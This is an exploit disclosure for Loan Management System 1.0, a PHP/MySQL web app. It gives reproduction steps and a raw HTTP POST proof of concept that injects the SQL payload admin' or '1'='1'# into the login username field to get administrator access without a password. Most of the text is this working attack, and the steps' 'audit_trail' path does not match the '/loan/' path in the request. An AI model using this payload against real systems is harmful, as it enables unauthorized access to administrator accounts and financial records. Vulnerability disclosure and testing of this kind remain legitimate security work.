Loan Management System 1.0 – SQLi Authentication Bypass
# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass # Date: 08.10.2021 # Exploit Author: Merve Oral # Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code # Version: 1.0 # Tested on: Windows 10, Kali Linux # Loan Management System Login page can be bypassed with a simple SQLi to the username parameter. Steps To Reproduce: 1 - Go to the login page http://localhost/audit_trail/login.php 2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field. 3 - Click on "Login" button and you are logged in as administrator. PoC POST /loan/ajax.php?action=login HTTP/1.1 Host: merve User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 44 Origin: http://merve Connection: close Referer: http://merve/loan/login.php Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h username=admin'+or+'1'%3D'1'%23&password=any |